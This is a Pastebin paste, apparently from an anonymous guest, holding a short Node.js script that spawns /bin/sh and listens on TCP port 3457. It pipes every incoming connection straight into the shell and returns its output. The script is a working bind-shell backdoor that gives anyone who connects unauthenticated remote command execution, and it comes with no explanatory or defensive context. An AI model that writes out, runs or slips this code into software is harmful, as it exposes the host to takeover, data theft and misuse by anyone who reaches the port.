SHARE
TWEET

Untitled

a guest Apr 18th, 2019 82 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. const net = require('net');
  2. const cp = require('child_process');
  3.  
  4. const sh = cp.spawn('/bin/sh');
  5.  
  6. const server = net.createServer((client) => {
  7.   client.pipe(sh.stdin);
  8.   sh.stdout.pipe(client);
  9.   sh.stderr.pipe(client);
  10. });
  11.  
  12. server.listen(3457, () => {
  13.   console.log('listening');
  14. });
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top